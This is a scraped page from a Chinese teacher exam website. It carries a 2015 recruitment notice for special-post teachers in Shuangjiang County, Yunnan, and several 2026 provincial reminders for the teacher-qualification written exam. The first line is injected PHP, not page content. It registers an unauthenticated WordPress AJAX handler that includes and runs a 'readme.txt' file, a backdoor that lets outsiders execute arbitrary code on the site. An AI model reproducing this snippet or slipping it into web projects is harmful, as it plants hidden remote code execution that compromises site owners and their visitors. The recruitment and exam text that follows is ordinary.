if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南省临沧市双江县特岗教师招聘公告-全国教师资格考试网

云南省临沧市双江县特岗教师招聘公告

  为做好双江自治县2015年特岗教师招聘工作,按照《云南省教育厅关于下达2015年度中央特岗计划招聘指标的通知》(云教人〔2015〕7号)、《云南省教育厅关于做好2015年中央特岗计划招聘考试工作的通知》(云教人〔2015〕8号)和《临沧市教育局关于做好2015年中央特岗计划招聘考试的通知》精神,结合我县教育实际,现将2015年特岗教师招聘有关事项公告如下:
一、招聘计划
  2015年,双江自治县计划招聘特岗教师52名。具体岗位招聘计划详见教育部农村教师特岗计划招录服务网(http://tg.ncss.org.cn/teacher)。
二、招聘对象和条件
(一)招聘对象
1.全日制普通高校应届本科及以上毕业生;
2.近三年(2013、2014、2015年)毕业的全日制普通高校师范类专业专科毕业生(必须是特殊紧缺学科,不超过本县2015年度总招聘数的30%);
3.取得相应教师资格,具有一定教育教学实践经验,年龄在30周岁(1985年6月20日后出生)以下的全日制普通高校往届本科及以上毕业生。
(二)招聘条件:
1.政治素质好,热爱社会主义祖国,拥护党的各项方针、政策,热爱教育事业,有强烈的事业心和责任感,品行端正,遵纪守法,在校或工作(待业)期间表现良好,未受过任何纪律处分,为人师表,志愿服务农村基层教育;
2.符合服务岗位要求,应聘初中教师的,学历要求为本科及以上;应聘英语、音乐、体育、美术、学前教育学科教师的,所学专业与申请服务岗位学科一致;
3.身体条件符合云南省申请教师资格人员体检标准的规定要求,并能适应乡村工作、生活环境条件;
4.普通话水平应达到《<教师资格条例>实施办法》规定的相应标准要求,并取得相应等级的《普通话水平测试等级证书》。
5.取得教师资格或教师资格“两学”考试合格证、参加过“大学生志愿服务西部计划”、“三支一扶”计划且服务期满的志愿者同等条件下优先聘用。
6.申请到双江拉祜族佤族布朗族傣族自治县农村学校服务的全日制硕士及以上毕业研究生,免笔试,直接进入面试考核录用。
7.在岗特岗教师或国家在职在编公职人员不得参加特岗教师招聘考试。
三、招聘程序和办法
(一)报名及资格审核
1.报名时间和方式:应聘毕业生于2015年4月17日-23日登录教育部农村教师特岗计划招录服务网(http://tg.ncss.org.cn)进行网络报名。
2.资格审核:报名资格由双江自治县特岗教师招聘工作组,于2015年4月28日前在网络上完成资格审核。
(二)准考证打印
考生于2015年5月4日—7日登录教育部农村教师特岗计划招录服务网(http://tg.ncss.org.cn)打印准考证,并按准考证所标考点按时参加考试。
(三)笔试
1.笔试时间:2015年5月9日(星期六)上午9:00—11:30。
2.笔试地点:准考证所标考点。
3.笔试内容及要求:试卷由省教育厅统一命制、统一阅卷,命题范围和内容继续沿用省教育厅组编的《云南省2014年特岗教师招聘考试大纲》命题体现实施素质教育要求和基础教育课程改革的方向,重点考察应聘人员的综合专业知识水平和能力。教育学、教育心理学部分采用教育部人事司、教育部考试中心制定的中小学教师资格考试用的《教育学考试大纲》和《教育心理学考试大纲》。
笔试为分学科闭卷考试。考试科目分学前、小学和中学三个类别:应聘幼儿园教师考学前教育1个学科;应聘小学特岗教师分语文、数学、英语、音乐、体育、美术、信息技术7个学科;应聘中学特岗教师分语文、数学、英语、物理、化学、生物、政治、历史、地理、音乐、体育、美术、信息技术13个学科。小学、中学分学科使用不同试卷。笔试成绩满分为120分,其中100分为报考学科的专业基础知识,20分为教育学、教育心理学知识。
《云南省2014年特岗教师招聘考试大纲》由省招生考试院自考教材部发行(购书地址:昆明市学府路61号,联系人:赵昆华、肖青,电话:0871-65162385)。
(四)公布笔试成绩、资格复审及面试
1.公布笔试成绩。2015年5月24日前后在临沧市政府公众信息网查询笔试成绩。需要查分者,在考试成绩公布后3日报县教育局人事股统一登记后,报到省特岗办进行统一查分,查分概不对个人。双江自治县特岗办联系电话:0883—7627837、18908835841。
2.确定面试人员名单。临沧市教育局以县(区)为单位,分岗位和学科确定最低控制线,按笔试成绩从高到低,以1:1.2的比例确定面试人员并于2015年5月27日前后在临沧市政府公众信息网发布面试公告。
面试由双江自治县特岗教师招聘工作领导小组组织,面试具体时间、面试相关事宜以双江自治县公众信息网(http://www.shuangjiang.gov.cn)的面试公告或县教育局的通知为准。所有进入面试人员须持相关证件再次进行资格复审,资格复审不通过者,取消其面试资格,空缺名额从本县岗位笔试成绩在最低控制线以上人员中从高到低依次递补。
(五)确定拟聘人员
应聘人员的综合成绩由笔试成绩加面试成绩求出,免笔试者笔试成绩以同学科笔试成绩的最高分计算,拟聘人员按综合成绩从高到低确定。若出现岗位空缺,在服从调剂的其它岗位落聘者中择优确定。
确定拟聘人员时,对取得教师资格或教师资格“两学”考试合格证、参加过“大学生志愿服务西部计划”、“三支一扶”计划且服务期满的志愿者,在同等条件下优先聘用。
(六)体检
1.确定体检人员。按照综合成绩从高分到低分依次确定参加体检人选,参加体检人数与设岗计划分学段、分学科岗位设置数的比例为1:1。若体检后出现缺额的,可按综合成绩依次递补。参加体检人员名单确定后,通过临沧市政府公众信息网等网站向社会公布,同时由县特岗招聘领导小组通知考生体检时间、地点和相关注意事项。
2.组织体检。体检时间为2015年6月10日前。体检标准参照云南省申请教师资格人员体检标准执行。
(七)公示
体检合格后,由县特岗办通过媒体统一向社会公示拟聘人员名单,公示时间为7天。
(八)办理聘用手续
1.签订聘用合同。公示期满无异议的,由县教育局与应聘者签订《云南省“农村义务教育阶段学校教师特设岗位计划”教师聘用合同书》,办理聘用手续。
2.信息上传。录用完成后,县教育局将正式录用教师信息上传至教育部特岗计划信息管理与服务系统,作为核拨中央补助经费的依据。
3.岗前培训。特岗教师在上岗前,县教育局组织不少于45学时的岗前培训,岗前培训采用网上远程培训和集中培训相结合的方式进行。
4.教师资格认定。岗前培训合格后,对符合相应教师资格条件又未取得教师资格证的拟聘人员,由县教育局免试免费进行教师资格认定,颁发相应任教学段的《教师资格证》。
5.上岗任教。特岗教师由县教育局根据设岗情况安排到设岗学校,由设岗学校安排教育教学工作、进行日常管理。
四、招聘监督
为保证我县特岗教师招聘的公平、公正,由双江自治县纪委派出第四纪工委对整个招聘过程进行监督(电话:0883—7627106)。
五、招聘信息查询方式
双江自治县特岗教师招聘信息发布渠道为:临沧市政府公众信息网(http://www.lincang.gov.cn)或双江自治县公众信息网(http://www.shuangjiang.gov.cn);服务电话:0883—7627837;18908835841。
特此公告
双江自治县“特岗”办
2015年4月10日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部